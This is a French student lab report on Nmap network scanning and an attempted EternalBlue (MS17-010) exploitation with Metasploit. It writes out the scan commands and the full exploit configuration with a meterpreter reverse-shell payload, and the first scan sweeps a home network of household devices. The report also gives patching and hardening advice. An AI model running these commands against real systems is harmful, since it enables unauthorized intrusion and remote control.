Compte Rendu de TP Cybersécurité – Scan et Exploitation avec Metasploit

Mecharbat Chamseddine

Établissement : IRIS MediaSchool Strasbourg

Date : 8 mai 2025

Contexte : Projet personnel en cybersécurité – découverte et exploitation de failles réseau en environnement contrôlé (lab VM)

1. Objectifs du TP

- Réaliser une analyse réseau avec Nmap.
- Identifier les services ouverts sur le réseau local.
- Détecter une machine vulnérable.
- Utiliser Metasploit pour tester une exploitation connue (ex : EternalBlue).
- Renforcer la compréhension des risques liés aux failles non corrigées.

2. Topologie réseau utilisée

- Machine attaquante : Kali Linux (VM en NAT/Bridged)
- Cibles : Plusieurs machines sur le réseau 192.168.1.0/24 et 192.168.220.0/24
- Connexion : NAT (testé) puis Bridged pour les scans et exploitation

3. Phase de scan avec Nmap

3.1 Scan de l'ensemble du réseau local

Commande : nmap -sn 192.168.1.0/24

Résultat : 13 hôtes actifs détectés, dont des appareils divers (Freebox, Nintendo, HP, AzureWave, Samsung...).

3.2 Scan TCP SYN (rapide) sur hôtes ciblés

Commande : nmap -sS -T4 192.168.1.150

Résultat : 3389/tcp open ms-wbt-server → Port du Bureau à distance Windows (RDP)

Commande : nmap -sS -T4 192.168.1.65

Résultat : 49152/tcp open unknown | 62078/tcp open iphone-sync

3.3 Scan complet avec détection OS + services

Commande : nmap -sS -sV -O 192.168.220.1

Résultat :
- Ports ouverts : 135, 139, 445, 902, 912
- Services détectés :
  * 135/tcp : Microsoft Windows RPC
  * 445/tcp : Microsoft-DS (SMB)
  * 902 & 912 : VMware Authentication Daemon
- OS détecté : Oracle VirtualBox + Windows

✅ Machine sélectionnée comme cible potentielle vulnérable (port 445)

4. Phase d'exploitation avec Metasploit

Lancement de Metasploit : sudo msfconsole

Recherche : search eternalblue

Module : exploit/windows/smb/ms17_010_eternalblue

Configuration :

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.220.1
set RPORT 445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <IP de la machine Kali>
exploit

Remarque : exploitation non aboutie car la cible semble non vulnérable (déjà patchée ou OS incompatible).

5. Analyse et conclusion

✅ Ce que j'ai appris :

- Utiliser Nmap efficacement pour scanner un réseau.
- Identifier les services critiques comme SMB, RDP, NetBIOS, VMware Auth.
- Tester une exploitation via Metasploit en environnement de test.
- Appréhender la notion de faille critique (MS17-010).

⚠️ Risques observés :

- Une machine avec port 445 ouvert est potentiellement très vulnérable.
- Des services comme RDP ou NetBIOS peuvent être points d'entrée pour des attaques.

🛡️ Recommandations :

- Toujours mettre à jour les systèmes Windows.
- Désactiver les services inutiles (NetBIOS, RDP...).
- Utiliser un pare-feu bien configuré pour restreindre l'accès aux ports critiques.